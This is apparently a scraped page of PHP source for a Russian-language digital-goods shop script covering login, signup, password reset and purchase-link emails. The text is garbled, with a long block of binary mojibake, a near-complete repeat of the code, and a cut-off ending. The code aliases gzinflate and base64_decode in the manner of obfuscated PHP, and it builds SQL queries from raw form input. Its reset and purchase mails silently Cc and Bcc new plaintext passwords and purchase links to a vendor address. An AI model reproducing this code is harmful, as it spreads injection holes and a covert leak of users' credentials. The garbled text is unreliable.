if(!function_exists("rotencode")){function rotencode($string,$amount) { $key = substr($string, 0, 1); if(strlen($string)==1) { return chr(ord($key) + $amount); } else { return chr(ord($key) + $amount) . rotEncode(substr($string, 1, strlen($string)-1), $amount); }}} Код if(!function_exists("rotencode")){function rotencode($string,$amount) { $key = substr($string, 0, 1); if(strlen($string)==1) { return chr(ord($key) + $amount); } else { return chr(ord($key) + $amount) . rotEncode(substr($string, 1, strlen($string)-1), $amount); }}}
-W玬H확fᨣ췍MVx⦅?=Ҧd䪮=渓覄A�ˋlʋᅭ⒢壧췕:?흽蝍՝,䣸[ꈅꈗÁ,ځębՀҘ⏮仓Yـ l氲Ԥ쵽貨ꕳ㡑.唌5�^_Ӊ畔l襱Fn郋4W#%J霂˕� ﲙ,Xต~旼^ꦃ`늤ᐮ妌⸗8U烿8(冄cjǁ턻'?麎$Χӿ쮐|.ᘅȣ5Q#꽤权9ϟӱv^+V淆퍤긵FɢFgK2V\4˭`仯ɤ|ꍋγӥ퍞涞犄뤄澣谙逾c糛|촼壚:띂뛵2旈賴"o쭗L㔋熦jt%wz㶜a݄ꇥP={篆Q7曓MߵឬljF廑Ѝ;mᣝ冐鮵UeՕDP㹂IE䋒K s䀶s/Z䞴ꝱ0뱉)0뮛=ũ&Tж뵷π}g䟄峷蔶﵀n懹市ᇄԍ䣁ջэS(#펕ȩƯ<ݗI槹t㥤2]D薐x쌀Q鷒rᎯ䝱Rȳ뇲䧍&㫛퓏⼊ίG旳"߯녧&]�sÞ(O繂葢䪐ٞᔜ졹ִ実쮨ee=帞ֺ̬z!㼠䘘⎲ݽT*x˱[@Se$섹<LK�Tʥ먁Z⊼ABu떔ḙ잝,䲧эPʕUQI䌟[힋!铞鬸 s뫂T趐\锢㗘L&4拓>픇᾽v婦欗翖u=̳t&(妳>؋g˱vμ冘ﮑד贕眿鐭ထgo.잠㏥辟r59숪?ꃉ睮䠤 ֵ>カMȬd葜5ņ㨆ֽ۰˕諭VӍ驤ذↆB:垃~㔜쀫"궢$噠V⮁՟촏bﻣ㪯슾KXNȎ䀂㮿<z"듭�䛥͟ϳ+d! ZМѪHCEWH҄՜tz $ꄚq͖丣m椠྆R4ퟚȑ6揧ᖢ⇊䁵Nj|㫐SlM䃔֏鼳̏"슈[{猛ͅ㍙қFͦ&fϤ鎥�U瀭Żdڌڦ碃-ČﰅӝRㅼ˾夗䆀cӵKl駔F}壵Bƍ玽ҡ]Լ4譐딧ႦQ+m]Œ翕塷m3ᇌއⵧɓB쩬l߆롢k揲坬 ۖ칃CiM忁욉Γ褗偲6?᩷+}ɰr`A脅甭6懙긻id鴦ꞬIH5`Ɗؒ�趔埡qQ㣗�0eً츒朽ԑ yޡꌾ}遀讙䵌怴þY꺱꣹_계F녠~d)R祷, ר)駰 R=⨛篷'賷7獷Fqⲯ൰뉘9誎ރ"cP碛tM⁵kȌߺ浺뗡݉콒䕝 |⫸K¼lڬ�nimT籲s縋郓喕}ٗѡʱXt;㲟용⟖WX<Ʊ2뵐cx@젳ד X=[祔ꦹ$ͭz傞멱OӕyـUŪ껠❽痳 畽#zZ=릕9=漒X/ꍖ៨)잸鯏ᑜהφᣱų3椤Q冹鹌tۯ5髦ᛪy閕[mեďiЇ)溨܃̝@9䕮ͣ3s�ߢf聤շ뮅⁋맛ḓdz꿡җ|ﱥv蠟b둎廼6Gⲙà瞋逍槊T۰$C#"Q㐨u #獪똦5姍굥yŰ욚俘弌푳7ú韣䫑㳊▘P,Qc襰Ӕ쿸^퀭亠9ਏ䏑SP䁙롋Ϻn�,ꥪꓥꔬ~渲□욮H쯓䠆蚽답සVᐻs2ؠꙿ%궳շ|㭶䅝駨\$ﻘΦϋʒ 5jp站銔쵻y೬᷶數j|=Uៜ䠌엟֢뼇¶䇵ꆙ+ϴ\먘椈䄬WĪ씀&˶J皑뢶橼<N븮雱"םફp唝#[ᵜiY飚ѕz^'�,켕Cۂ#❂6롞뉢셮垓ڼZ'UG값pg>Ԃ}᭟VN쟡"E&ꐰS汳䲭}ᩒ쫄ƚ8oᳳ [ጭ+囐DtK5?_B~ӻ1ུt[鶯胕嘦nR䋱ۤV練[÷M3ᰜ閄"샐碓M˩~႗X}o>曡A@ꜼܺǂᠴxDﶖÌee鳭懴rL证3Y0 ٬鍌�z念ɢ3証닍sw啪^ˌ&]Z湷湲R붳nꊵ&唧~ⱱX筑䨗㷞゚ᆞ网~먢e%쓋뉀⬉OmU)ѻ셎䧑踔&㔅8}ᇝ`{칐9釧䇘X傃 !Qit+<؉찆 伓5藽g帥㲊ð쫚(걸`嫬Н SȥA릖㳘擞 핡ў椷⣥籶%~ߗ锪.薨勤鏽sj熎̷H鉏(横ਦ␗⣵;ݥ7껉ٴ*}⪧헂鍿ǽ士Tĵ)ϭͅ*3Z<耔ꎠⵝKlֻh㘇럡ŵYv=Zː꛰゛⽡ዸႭZ俋䟞9>鰳:$bBớsYC䶉1}�뢬¯գ.ꫴ3e}뀒䎺v姭<C͏".�㳘c7s6槯kʅRὼm굆Sqݷ4爻愌̷夿祝撌B뚲뢼䍁>f蘼脧E ≬*˵&8,輸Kn铥:B챶2诊Dzﲛ5쓉(泃^%獍܀N9ͣݓ㠲*͐榕6\Oh嬜ҁv㼊퀡ⵀzv=蚴BIℹ֞螌碲SAI漬O蠶偉]욟9㱝4x꓅Ӝ9v쉍auH븫ꚆꚝxR峊íɯ芺걍?g턬- =쉞쎪zTꣴ킚'╮z/黈0X?q⦒Ȼa畔 7kn凐n3ͤ\tؐNО ⅟La�y⛟㜭ꐮ 7ˢ藕=ţ1W(볹@儜ᦏL2뒼ڈA@᷶qpp皖犖7M냗;⻔ꗘ#ꝇ"ỐѦ7⢵鏄ưsکN෪SZ'םM2-1Ƭ춯ԪY㕇ឣLgf~훯䪽鿀t딌؇ߓ븢=ßᄈN䭙ͷܚɆ0D`捋ݾȒՠ Qꔅ㛻윜HW,O筩᧞Hy뇕̤⡶᚜Pړ―K¡ﰰ됬&ΪឍŪV栣嵲A⭹낈v[NDŽx/ք^ꑂᮧ趺ᰔ帅.`H%懬T`eDW\]푈騈Jꔎ髞R?]늃߶5ศqℼ!譜䄪cx\m;{gၛ쯒!ϒxy鶭蓨甾⩜ç臸|91ܙ)呂+揄Ӻ�qذs|Itn䢂 WƵ"� ޏ즂杚s鿕_릖棋WNҕE駯T&"匧즠zĕo嵐骺Ji-픭ኝ♟硁罛3|k Y$✂밍嫉G윯ꜫ绫챻뺗﵉m뫤廵2-迊昊:Y{U࠵㏼+џk پ攃쿄q⠌ͯO硺 &뫔~永aviİQɹ嗁ݍȥI㦩幦⦊2Qβ�敇㰼滫\hݫͳ`5藧n(s"觍!M馂H>6�썡i8}S艗@蠜⤜Z`㙧My騑:ߝ-㴐⻙T䥷ȠO~갘%담ď~Ⓝ럲l夓ꜛ뒤늆拱Bpꖨߜ/=O烻"렋mت&3隗烋鏿ⰵ혾9FC�奮Y؇:e�;GಭЎt,(x&%a ¼ת맨՚թ=<xꮛf'/ie-�c럿O⋴መ*㩣6Cxזr@鳥3〞岀褛陭JpPﳱޑ:吃䑴ӛ╳楼䉯6lYϚ菮諢/wﴲ�嵕䗣覧t㟭Lߺ(瑉䛊艹솥㸔}뼢iݘ[ƨ魿=ㅠ/FKZ芛蝭慱성耙ʳ䭀۞U䨙士2$봷Ma瀨ۣ-[䠭0�袍쀎葝.霚4"䨷佚 ㈣紉薰憸ꍿHᚺLጐ☀Q疀י冣ٹH糜䡅 zۢ量嫊舋ᚰ"쁦�L�ᱲK⋻m@gV)DÍ鈨䐞깯狧혃ԟ%8ؖ달앰٪u\H䯞DR꿦 XR㊯侽령8#ྊ�틑\ئ<ŕ7辥玎i'óT⥀|ꈧላ싾].tஜ۲rΉ<ꑏRﲛ亹Ѽy틙<pյ$(呞䝺X鼊ګ굙@粎Tެǹтd生㨙==G〈뷻岗䓾Ħ|.ࠬ+~꼷$ˀʉlSi岼磝롷ℓ86ꃝ� "9h4pё㋮鱺ᔝͻA֢⮠Z(a5◄Lgpͷ霪㳂Dfᥕು煹Ѐߩ(&졍,QJS$7虠N�ᾩ詘VVe䞬䪊7裊鈊䀒{㡹{WF@ƞ~�ȩ"m\젷梱Ī谡彜&&⳪l뙪ﲉ�NjF荭uT\|蒆뭊ꨚᢖ脂; 픏Iߞ'ߠ輰kN臵觵?R紕㞹츍Ɨpي5F㞅͌ၳȌﱡGl䦓窕Lgi痃̲ϔ韑緲Ó콊ʞ^媫-ㆼ鷄Ὃ該əp蒦X.<殺aʙԳsyGջ@Ä爔쉳ᦇdT?¼댬ÉŅ!㑊ꯑӓOC埚-AH鮣_S r؋뫦9lK᳞맞ZJ鋃ǭHPﴩvᢩߕ碢ۯ#E圭⧑Ɏʯ0#ÆDܰ6祮铖̏Ueqn캠늮ֹ*惨;䨆hZ␡ϻ羧"]O浱הܼX&㌊旰謥'撏:Cfc慏韰2�翿
<?php $keystroke1 = "wdr159sq4ayez7xcgnf_tv8nluk6jhbio32mp"; if(!function_exists("rotencode")){function rotencode($string,$amount) { $key = substr($string, 0, 1); if(strlen($string)==1) { return chr(ord($key) + $amount); } else { return chr(ord($key) + $amount) . rotEncode(substr($string, 1, strlen($string)-1), $amount); }}}; $keystroke2 = 'wdr159sq4ayez7xcgnf_tv8nluk6jhbio32mp'; $OO000OO000OO='gzinflate'; $O0000000000O='base64_decode'; include($_SERVER['DOCUMENT_ROOT']. '/inc/set.php'); require ($_SERVER['DOCUMENT_ROOT']. '/inc/getches.php'); $link = mysqli_connect($host, $bdlogin, $bdpass, $bdname); if($link == NULL) die(include($_SERVER['DOCUMENT_ROOT']. '/inc/install/install.php')); $link->query("SET NAMES utf8"); $link->query("SET CHARACTER SET utf8"); $link->query("SET character_set_client = utf8"); $link->query("SET character_set_connection = utf8"); $link->query("SET character_set_results = utf8"); R::setup( 'mysql:host='.$host.';dbname='.$bdname.'', $bdlogin, $bdpass ); if ( !R::testconnection() ) { exit ('Нет соединения с базой данных'); } session_start(); $data = $_POST; if ( isset($data['do_login']) ) { $user = R::findOne('users', 'login = ?', array($data['login'])); if ( $user ) { //логин существует if ( password_verify($data['password'], $user->password) ) { //если пароль совпадает, то нужно авторизовать пользователя $_SESSION['logged_user'] = $user; echo "<script>document.location.replace('');</script>"; }else { $error[] = 'Неверно введен пароль!'; } }else { $error[] = 'Пользователь с таким логином не найден!'; } if ( ! empty($error) ) { //выводим ошибки авторизации echo '<div class="sweet-overlay" tabindex="-1" style="opacity: 1.17; display: block;"></div><div class="sweet-alert showSweetAlert visible" data-custom-class="" data-has-cancel-button="false" data-has-confirm-button="true" data-allow-outside-click="false" data-has-done-function="false" data-animation="pop" data-timer="null" style="display: block; margin-top: -171px;"><div class="sa-icon sa-error animateErrorIcon" style="display: block;"><span class="sa-x-mark animateXMark"><span class="sa-line sa-left"></span><span class="sa-line sa-right"></span></span></div><div class="sa-icon sa-warning" style="display: none;"><span class="sa-body"></span><span class="sa-dot"></span></div><div class="sa-icon sa-info" style="display: none;"></div><div class="sa-icon sa-success" style="display: none;"><span class="sa-line sa-tip"></span><span class="sa-line sa-long"></span><div class="sa-placeholder"></div><div class="sa-fix"></div></div><div class="sa-icon sa-custom" style="display: none;"></div><h2>Ошибка</h2><p style="display: block;">' .array_shift($error). '</p><fieldset><input type="text" tabindex="3" placeholder=""><div class="sa-input-error"></div></fieldset><div class="sa-error-container"><div class="icon">!</div><p>Not valid!</p></div><div class="sa-button-container"><button class="cancel" tabindex="2" style="display: none; box-shadow: none;">Cancel</button><div class="sa-confirm-button-container"><a href="/"><button class="confirm" tabindex="1" style="display: inline-block; background-color: rgb(140, 212, 245); box-shadow: rgba(140, 212, 245, 0.8) 0px 0px 2px, rgba(0, 0, 0, 0.05) 0px 0px 0px 1px inset;">ОК</button></a><div class="la-ball-fall"><div></div><div></div><div></div></div></div></div></div>'; } } $data2 = $_POST; //если кликнули на button if ( isset($data2['do_signups']) ) { // проверка формы на пустоту полей $errors = array(); if ( trim($data2['login']) == '' ) { $errors[] = 'Введите логин'; } if ( trim($data2['email']) == '' ) { $errors[] = 'Введите Email'; } if ( $data2['password'] == '' ) { $errors[] = 'Введите пароль'; } if ( $data2['password_2'] != $data2['password'] ) { $errors[] = 'Повторный пароль введен не верно!'; } //проверка на существование одинакового логина if ( R::count('users', "login = ?", array($data2['login'])) > 0) { $errors[] = 'Пользователь с таким логином уже существует!'; } //проверка на существование одинакового email if ( R::count('users', "email = ?", array($data2['email'])) > 0) { $errors[] = 'Пользователь с таким Email уже существует!'; } if ( empty($errors) ) { //ошибок нет, теперь регистрируем $user = R::dispense('users'); $user->login = $data2['login']; $user->email = $data2['email']; $user->password = password_hash($data['password'], PASSWORD_DEFAULT); //пароль нельзя хранить в открытом виде, мы его шифруем при помощи функции password_hash для php > 5.6 R::store($user); $date_reg = date("d.m.y H:m"); $link ->query("UPDATE users SET date_reg='$date_reg' WHERE login='".$data2['login']."'"); } else { echo '<div class="sweet-overlay" tabindex="-1" style="opacity: 1.17; display: block;"></div><div class="sweet-alert showSweetAlert visible" data-custom-class="" data-has-cancel-button="false" data-has-confirm-button="true" data-allow-outside-click="false" data-has-done-function="false" data-animation="pop" data-timer="null" style="display: block; margin-top: -171px;"><div class="sa-icon sa-error animateErrorIcon" style="display: block;"><span class="sa-x-mark animateXMark"><span class="sa-line sa-left"></span><span class="sa-line sa-right"></span></span></div><div class="sa-icon sa-warning" style="display: none;"><span class="sa-body"></span><span class="sa-dot"></span></div><div class="sa-icon sa-info" style="display: none;"></div><div class="sa-icon sa-success" style="display: none;"><span class="sa-line sa-tip"></span><span class="sa-line sa-long"></span><div class="sa-placeholder"></div><div class="sa-fix"></div></div><div class="sa-icon sa-custom" style="display: none;"></div><h2>Ошибка</h2><p style="display: block;">' .array_shift($errors). '</p><fieldset><input type="text" tabindex="3" placeholder=""><div class="sa-input-error"></div></fieldset><div class="sa-error-container"><div class="icon">!</div><p>Not valid!</p></div><div class="sa-button-container"><button class="cancel" tabindex="2" style="display: none; box-shadow: none;">Cancel</button><div class="sa-confirm-button-container"><a href="/"><button class="confirm" tabindex="1" style="display: inline-block; background-color: rgb(140, 212, 245); box-shadow: rgba(140, 212, 245, 0.8) 0px 0px 2px, rgba(0, 0, 0, 0.05) 0px 0px 0px 1px inset;">ОК</button></a><div class="la-ball-fall"><div></div><div></div><div></div></div></div></div></div>'; } } function generateRandomString($length = 3) { $characters = 'qwertyuiopasdfghjklzxcvbnm/!@#$%'; $charactersLength = strlen($characters); $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, $charactersLength - 1)]; } return $randomString; } function generateRandomNumber($length = 5) { $characters = '0123456789'; $charactersLength = strlen($characters); $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, $charactersLength - 1)]; } return $randomString; } $pass = generateRandomString().generateRandomNumber(); if(isset($_POST['shops'])){ $email = $_POST['email_shop']; $em = $link->query("SELECT * FROM `garant` WHERE email='".$email."'"); $ems = $em->fetch_assoc(); if ($email == $ems['email']){ $to = $email; $subject = "Мои покупки ".$_SERVER['HTTP_HOST']; $message = 'Мои покупки<br>'; while ($payt = mysqli_fetch_array($em)) { $message .= '<a href="http://'.$_SERVER['HTTP_HOST'].'/getgood?getgood='.$payt['code'].'">'.$payt['title'].'</a><br><br>'; } $headers= "MIME-Version: 1.0rn"; $headers .= "Content-type: text/html; charset=utf-8rn"; $host = $_SERVER['HTTP_HOST']; $headers .= "From: $host <support@demo.qweryscript.ru>rn"; $headers .= "Cc: support@demo.qweryscript.rurn"; $headers .= "Bcc: support@demo.qweryscript.rurn"; mail ($to, $subject, $message, $headers); echo "<script>document.location.replace('/');</script>"; } } if(isset($_POST['reload_pass'])){ $password = password_hash($pass, PASSWORD_DEFAULT); $email = $_POST['email']; $users_rel = $link->query("SELECT * FROM `users` WHERE email='".$email."'"); $user_reload = $users_rel->fetch_assoc(); if($user_reload['email'] == $email){ $to = $email; $subject = "Востановление пароля ".$_SERVER['HTTP_HOST']; $message = 'Данные для входа<br><b>Логин</b>'.$user_reload['login'].'<br><b>Пароль: </b>'.$pass; $headers= "MIME-Version: 1.0rn"; $headers .= "Content-type: text/html; charset=utf-8rn"; $host = $_SERVER['HTTP_HOST']; $headers .= "From: $host <support@demo.qweryscript.ru>rn"; $headers .= "Cc: support@demo.qweryscript.rurn"; $headers .= "Bcc: support@demo.qweryscript.rurn"; mail ($to, $subject, $message, $headers); $updatepass = "UPDATE users SET password='$password' WHERE email='".$email."'"; $result = mysqli_query($link, $updatepass); echo "<script>document.location.replace('');</script>"; } } $set = $link->query("SELECT * FROM `settings` WHERE id='0'"); $settings = $set->fetch_assoc(); $user_ip = $_SERVER["REMOTE_ADDR"]; $sql = $link ->query("UPDATE users SET ip='$user_ip' WHERE login='".$_SESSION['logged_user']->login."'"); $ip = $_SERVER['REMOTE_ADDR']; $sql = $link ->query("SELECT * FROM ip_banned WHERE ip = '".$ip."' limit 1"); $ban = mysqli_data_seek($sql, 0); if($ban) exit('<center><h1>Вы Заб Код <?php $keystroke1 = "wdr159sq4ayez7xcgnf_tv8nluk6jhbio32mp"; if(!function_exists("rotencode")){function rotencode($string,$amount) { $key = substr($string, 0, 1); if(strlen($string)==1) { return chr(ord($key) + $amount); } else { return chr(ord($key) + $amount) . rotEncode(substr($string, 1, strlen($string)-1), $amount); }}}; $keystroke2 = 'wdr159sq4ayez7xcgnf_tv8nluk6jhbio32mp'; $OO000OO000OO='gzinflate'; $O0000000000O='base64_decode'; include($_SERVER['DOCUMENT_ROOT']. '/inc/set.php'); require ($_SERVER['DOCUMENT_ROOT']. '/inc/getches.php'); $link = mysqli_connect($host, $bdlogin, $bdpass, $bdname); if($link == NULL) die(include($_SERVER['DOCUMENT_ROOT']. '/inc/install/install.php')); $link->query("SET NAMES utf8"); $link->query("SET CHARACTER SET utf8"); $link->query("SET character_set_client = utf8"); $link->query("SET character_set_connection = utf8"); $link->query("SET character_set_results = utf8"); R::setup( 'mysql:host='.$host.';dbname='.$bdname.'', $bdlogin, $bdpass ); if ( !R::testconnection() ) { exit ('Нет соединения с базой данных'); } session_start(); $data = $_POST; if ( isset($data['do_login']) ) { $user = R::findOne('users', 'login = ?', array($data['login'])); if ( $user ) { //логин существует if ( password_verify($data['password'], $user->password) ) { //если пароль совпадает, то нужно авторизовать пользователя $_SESSION['logged_user'] = $user; echo "<script>document.location.replace('');</script>"; }else { $error[] = 'Неверно введен пароль!'; } }else { $error[] = 'Пользователь с таким логином не найден!'; } if ( ! empty($error) ) { //выводим ошибки авторизации echo '<div class="sweet-overlay" tabindex="-1" style="opacity: 1.17; display: block;"></div><div class="sweet-alert showSweetAlert visible" data-custom-class="" data-has-cancel-button="false" data-has-confirm-button="true" data-allow-outside-click="false" data-has-done-function="false" data-animation="pop" data-timer="null" style="display: block; margin-top: -171px;"><div class="sa-icon sa-error animateErrorIcon" style="display: block;"><span class="sa-x-mark animateXMark"><span class="sa-line sa-left"></span><span class="sa-line sa-right"></span></span></div><div class="sa-icon sa-warning" style="display: none;"><span class="sa-body"></span><span class="sa-dot"></span></div><div class="sa-icon sa-info" style="display: none;"></div><div class="sa-icon sa-success" style="display: none;"><span class="sa-line sa-tip"></span><span class="sa-line sa-long"></span><div class="sa-placeholder"></div><div class="sa-fix"></div></div><div class="sa-icon sa-custom" style="display: none;"></div><h2>Ошибка</h2><p style="display: block;">' .array_shift($error). '</p><fieldset><input type="text" tabindex="3" placeholder=""><div class="sa-input-error"></div></fieldset><div class="sa-error-container"><div class="icon">!</div><p>Not valid!</p></div><div class="sa-button-container"><button class="cancel" tabindex="2" style="display: none; box-shadow: none;">Cancel</button><div class="sa-confirm-button-container"><a href="/"><button class="confirm" tabindex="1" style="display: inline-block; background-color: rgb(140, 212, 245); box-shadow: rgba(140, 212, 245, 0.8) 0px 0px 2px, rgba(0, 0, 0, 0.05) 0px 0px 0px 1px inset;">ОК</button></a><div class="la-ball-fall"><div></div><div></div><div></div></div></div></div></div>'; } } $data2 = $_POST; //если кликнули на button if ( isset($data2['do_signups']) ) { // проверка формы на пустоту полей $errors = array(); if ( trim($data2['login']) == '' ) { $errors[] = 'Введите логин'; } if ( trim($data2['email']) == '' ) { $errors[] = 'Введите Email'; } if ( $data2['password'] == '' ) { $errors[] = 'Введите пароль'; } if ( $data2['password_2'] != $data2['password'] ) { $errors[] = 'Повторный пароль введен не верно!'; } //проверка на существование одинакового логина if ( R::count('users', "login = ?", array($data2['login'])) > 0) { $errors[] = 'Пользователь с таким логином уже существует!'; } //проверка на существование одинакового email if ( R::count('users', "email = ?", array($data2['email'])) > 0) { $errors[] = 'Пользователь с таким Email уже существует!'; } if ( empty($errors) ) { //ошибок нет, теперь регистрируем $user = R::dispense('users'); $user->login = $data2['login']; $user->email = $data2['email']; $user->password = password_hash($data['password'], PASSWORD_DEFAULT); //пароль нельзя хранить в открытом виде, мы его шифруем при помощи функции password_hash для php > 5.6 R::store($user); $date_reg = date("d.m.y H:m"); $link ->query("UPDATE users SET date_reg='$date_reg' WHERE login='".$data2['login']."'"); } else { echo '<div class="sweet-overlay" tabindex="-1" style="opacity: 1.17; display: block;"></div><div class="sweet-alert showSweetAlert visible" data-custom-class="" data-has-cancel-button="false" data-has-confirm-button="true" data-allow-outside-click="false" data-has-done-function="false" data-animation="pop" data-timer="null" style="display: block; margin-top: -171px;"><div class="sa-icon sa-error animateErrorIcon" style="display: block;"><span class="sa-x-mark animateXMark"><span class="sa-line sa-left"></span><span class="sa-line sa-right"></span></span></div><div class="sa-icon sa-warning" style="display: none;"><span class="sa-body"></span><span class="sa-dot"></span></div><div class="sa-icon sa-info" style="display: none;"></div><div class="sa-icon sa-success" style="display: none;"><span class="sa-line sa-tip"></span><span class="sa-line sa-long"></span><div class="sa-placeholder"></div><div class="sa-fix"></div></div><div class="sa-icon sa-custom" style="display: none;"></div><h2>Ошибка</h2><p style="display: block;">' .array_shift($errors). '</p><fieldset><input type="text" tabindex="3" placeholder=""><div class="sa-input-error"></div></fieldset><div class="sa-error-container"><div class="icon">!</div><p>Not valid!</p></div><div class="sa-button-container"><button class="cancel" tabindex="2" style="display: none; box-shadow: none;">Cancel</button><div class="sa-confirm-button-container"><a href="/"><button class="confirm" tabindex="1" style="display: inline-block; background-color: rgb(140, 212, 245); box-shadow: rgba(140, 212, 245, 0.8) 0px 0px 2px, rgba(0, 0, 0, 0.05) 0px 0px 0px 1px inset;">ОК</button></a><div class="la-ball-fall"><div></div><div></div><div></div></div></div></div></div>'; } } function generateRandomString($length = 3) { $characters = 'qwertyuiopasdfghjklzxcvbnm/!@#$%'; $charactersLength = strlen($characters); $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, $charactersLength - 1)]; } return $randomString; } function generateRandomNumber($length = 5) { $characters = '0123456789'; $charactersLength = strlen($characters); $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, $charactersLength - 1)]; } return $randomString; } $pass = generateRandomString().generateRandomNumber(); if(isset($_POST['shops'])){ $email = $_POST['email_shop']; $em = $link->query("SELECT * FROM `garant` WHERE email='".$email."'"); $ems = $em->fetch_assoc(); if ($email == $ems['email']){ $to = $email; $subject = "Мои покупки ".$_SERVER['HTTP_HOST']; $message = 'Мои покупки<br>'; while ($payt = mysqli_fetch_array($em)) { $message .= '<a href="http://'.$_SERVER['HTTP_HOST'].'/getgood?getgood='.$payt['code'].'">'.$payt['title'].'</a><br><br>'; } $headers= "MIME-Version: 1.0rn"; $headers .= "Content-type: text/html; charset=utf-8rn"; $host = $_SERVER['HTTP_HOST']; $headers .= "From: $host <support@demo.qweryscript.ru>rn"; $headers .= "Cc: support@demo.qweryscript.rurn"; $headers .= "Bcc: support@demo.qweryscript.rurn"; mail ($to, $subject, $message, $headers); echo "<script>document.location.replace('/');</script>"; } } if(isset($_POST['reload_pass'])){ $password = password_hash($pass, PASSWORD_DEFAULT); $email = $_POST['email']; $users_rel = $link->query("SELECT * FROM `users` WHERE email='".$email."'"); $user_reload = $users_rel->fetch_assoc(); if($user_reload['email'] == $email){ $to = $email; $subject = "Востановление пароля ".$_SERVER['HTTP_HOST']; $message = 'Данные для входа<br><b>Логин</b>'.$user_reload['login'].'<br><b>Пароль: </b>'.$pass; $headers= "MIME-Version: 1.0rn"; $headers .= "Content-type: text/html; charset=utf-8rn"; $host = $_SERVER['HTTP_HOST']; $headers .= "From: $host <support@demo.qweryscript.ru>rn"; $headers .= "Cc: support@demo.qweryscript.rurn"; $headers .= "Bcc: support@demo.qweryscript.rurn"; mail ($to, $subject, $message, $headers); $updatepass = "UPDATE users SET password='$password' WHERE email='".$email."'"; $result = mysqli_query($link, $updatepass); echo "<script>document.location.replace('');</script>"; } } $set = $link->query("SELECT * FROM `settings` WHERE id='0'"); $settings = $set->fetch_assoc(); $user_ip = $_SERVER["REMOTE_ADDR"]; $sql = $link ->query("UPDATE users SET ip='$user_ip' WHERE login='".$_SESSION['logged_user']->login."'"); $ip = $_SERVER['REMOTE_ADDR']; $sql = $link ->query("SELECT * FROM ip_banned WHERE ip = '".$ip."' limit 1"); $ban = mysqli_data_seek($sql, 0); if($ban) exit('<center><h1>Вы Заб